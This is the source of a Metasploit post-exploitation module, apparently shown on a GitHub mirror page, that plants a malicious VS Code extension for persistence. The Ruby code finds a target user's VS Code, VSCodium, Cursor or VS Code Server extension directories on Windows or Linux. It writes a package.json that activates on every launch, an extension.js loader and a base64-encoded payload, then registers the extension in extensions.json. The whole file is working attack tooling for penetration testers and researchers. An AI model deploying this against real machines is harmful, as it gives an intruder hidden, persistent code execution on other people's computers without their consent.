/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/persistence/vscode_extension.rb
285 строк
10 KB
h00die
per review
04 июн 2026, 20:56
04 июн 2026, 20:56
c3387ee
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # frozen_string_literal: true class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'VS Code Extension Persistence', 'Description' => %q{ This module installs a malicious VS Code extension into the target's VS Code extensions directory. The extension executes the payload each time VS Code is launched, providing persistent code execution. Supports VS Code, VS Code Insiders, VSCodium, VS Code Server, and Cursor. Tested against 1.120.0 on Kali and Windows 10 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', ], 'DisclosureDate' => '2015-04-29', # VS Code first public release 'SessionTypes' => ['shell', 'meterpreter'], 'Privileged' => false, 'References' => [ ['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS] ], 'Arch' => [ARCH_CMD], 'Platform' => %w[linux windows], 'Payload' => { 'Space' => 8191, 'DisableNops' => true }, 'Targets' => [ ['Windows', { 'Platform' => 'windows' }], ['Linux', { 'Platform' => ['unix', 'linux'] }], # ['OSX', { 'Platform' => 'osx' }] this likely works but I don't have a test environment to verify it, so leaving it out of the target list for now ], 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DefaultTarget' => 0 ) ) register_options([ OptString.new('NAME', [false, 'Name of the extension (Random if left blank)', '']), OptString.new('PUBLISHER', [false, 'Publisher name for the extension (Random if left blank)', '']), OptString.new('DESCRIPTION', [false, 'Description of the extension (Random if left blank)', '']), OptString.new('USER', [false, 'User to target, or current user if blank', '']), OptPath.new('ICON', [false, 'Local path to an icon file (PNG) to include with the extension']), OptString.new('VERSION', [false, 'Extension version in major.minor.patch format', '1.0.0']) ]) deregister_options('WritableDir') end def ext_name @ext_name ||= datastore['NAME'].blank? ? rand_text_alphanumeric(4..10).downcase : datastore['NAME'].downcase end def ext_publisher @ext_publisher ||= datastore['PUBLISHER'].blank? ? rand_text_alpha(4..8).downcase : datastore['PUBLISHER'].downcase end def ext_version @ext_version ||= begin ver = datastore['VERSION'].blank? ? '1.0.0' : datastore['VERSION'] fail_with(Failure::BadConfig, "VERSION must be in major.minor.patch format (e.g. 1.0.0), got: #{ver}") unless ver.match?(/\A\d+\.\d+\.\d+\z/) ver end end def ext_dir_name "#{ext_publisher}.#{ext_name}-#{ext_version}" end def package_json pkg = { 'name' => ext_name, 'displayName' => ext_name, 'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'], 'version' => ext_version, 'publisher' => ext_publisher, 'engines' => { 'vscode' => '^1.0.0' }, 'activationEvents' => ['*'], 'main' => './extension.js' } pkg['icon'] = "./#{::File.basename(datastore['ICON'])}" unless datastore['ICON'].blank? pkg.to_json end def extension_js template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'vscode_extension', 'extension.js.template') fail_with(Failure::BadConfig, "Extension template not found: #{template_path}") unless ::File.exist?(template_path) ::File.read(template_path) end def target_user return datastore['USER'] unless datastore['USER'].blank? return cmd_exec('cmd.exe /c echo %USERNAME%').strip if windows? whoami end def windows? ['windows', 'win'].include?(session.platform) end # def osx? # session.platform == 'osx' # end def vscode_ext_dirs user = target_user vprint_status("Target user: #{user}") if windows? [ "C:\\Users\\#{user}\\.vscode\\extensions", "C:\\Users\\#{user}\\.vscode-insiders\\extensions", "C:\\Users\\#{user}\\.cursor\\extensions" ] # when 'osx' — uncomment and add 'osx' to Platform/Targets once verified on macOS # [ # "/Users/#{user}/.vscode/extensions", # "/Users/#{user}/.vscode-insiders/extensions", # "/Users/#{user}/.vscode-oss/extensions", # "/Users/#{user}/.cursor/extensions" # ] else home = user == 'root' ? '/root' : "/home/#{user}" [ "#{home}/.vscode/extensions", "#{home}/.vscode-insiders/extensions", "#{home}/.vscode-server/extensions", "#{home}/.vscode-oss/extensions", "#{home}/.cursor/extensions", "#{home}/snap/code/current/.config/Code/extensions" ] end end def check vscode_ext_dirs.each do |dir| next unless directory?(dir) if !windows? && !writable?(dir) return CheckCode::Appears("VS Code extensions directory found but not writable: #{dir}") end return CheckCode::Appears("VS Code extensions directory found: #{dir}") end CheckCode::Safe('No VS Code extensions directory found') rescue StandardError => e CheckCode::Unknown("Error checking for VS Code: #{e.message}") end def vscode_running? if windows? !cmd_exec('powershell -Command "Get-Process -Name Code* -ErrorAction SilentlyContinue"').strip.empty? else # The [c]ode bracket trick prevents the grep process itself from matching !cmd_exec('ps -ef 2>/dev/null | grep -i "[c]ode"').strip.empty? end end # VS Code URI path format for Windows: /c:/users/... (lowercase drive, forward slashes) def uri_path(full_path) return full_path unless windows? '/' + full_path.gsub('\\', '/').sub(/^([A-Za-z]):/) { "#{::Regexp.last_match(1).downcase}:" } end def register_extension(ext_base, ext_dir) sep = windows? ? '\\' : '/' index_path = "#{ext_base}#{sep}extensions.json" extensions = [] if file?(index_path) print_status('Reading extensions.json...') begin extensions = JSON.parse(read_file(index_path)) # Remove any stale entry for this extension id extensions.reject! { |e| e.dig('identifier', 'id')&.casecmp?("#{ext_publisher}.#{ext_name}") } rescue JSON::ParserError => e print_warning("Could not parse extensions.json: #{e.message} - starting fresh") extensions = [] end end entry = { 'identifier' => { 'id' => "#{ext_publisher}.#{ext_name}" }, 'version' => ext_version, 'location' => { '$mid' => 1, 'fsPath' => ext_dir, 'path' => uri_path(ext_dir), 'scheme' => 'file' }, 'relativeLocation' => ext_dir_name, 'metadata' => { 'id' => SecureRandom.uuid, 'publisherId' => SecureRandom.uuid, 'publisherDisplayName' => ext_publisher, 'targetPlatform' => 'undefined', 'isPreReleaseVersion' => false, 'hasPreReleaseVersion' => false, 'installedTimestamp' => (Time.now.to_f * 1000).to_i, 'pinned' => false, 'isApplicationScoped' => false, 'updated' => false, 'preRelease' => false } } extensions << entry write_file(index_path, JSON.generate(extensions)) print_good("Registered extension in #{index_path}") index_path end def install_persistence print_status("Using extension: #{ext_dir_name}") ext_base = vscode_ext_dirs.find { |dir| directory?(dir) } fail_with(Failure::NotFound, 'No VS Code extensions directory found') if ext_base.nil? print_status("Installing to: #{ext_base}") sep = windows? ? '\\' : '/' ext_dir = "#{ext_base}#{sep}#{ext_dir_name}" unless directory?(ext_dir) print_status("Creating extension directory: #{ext_dir}") mkdir(ext_dir, cleanup: false) end pkg_path = "#{ext_dir}#{sep}package.json" fail_with(Failure::UnexpectedReply, "Failed to write #{pkg_path}") unless write_file(pkg_path, package_json) print_good("Wrote package.json to #{pkg_path}") js_path = "#{ext_dir}#{sep}extension.js" fail_with(Failure::UnexpectedReply, "Failed to write #{js_path}") unless write_file(js_path, extension_js) print_good("Wrote extension.js to #{js_path}") unless datastore['ICON'].blank? icon_data = ::File.binread(datastore['ICON']) fail_with(Failure::BadConfig, "ICON is not a valid PNG file: #{datastore['ICON']}") unless icon_data.b.start_with?("\x89PNG\r\n\x1a\n".b) icon_path = "#{ext_dir}#{sep}#{::File.basename(datastore['ICON'])}" fail_with(Failure::UnexpectedReply, "Failed to write #{icon_path}") unless write_file(icon_path, icon_data) print_good("Wrote icon to #{icon_path}") end ext_path = "#{ext_dir}#{sep}external" fail_with(Failure::UnexpectedReply, "Failed to write #{ext_path}") unless write_file(ext_path, [payload.encoded].pack('m0')) print_good("Wrote payload to #{ext_path}") register_extension(ext_base, ext_dir) if vscode_running? print_warning('VS Code is currently running - restart VS Code to activate the extension.') else print_status('VS Code is not running - launch it to trigger the extension.') end @clean_up_rc << "rm -rf \"#{ext_dir}\"\n" end end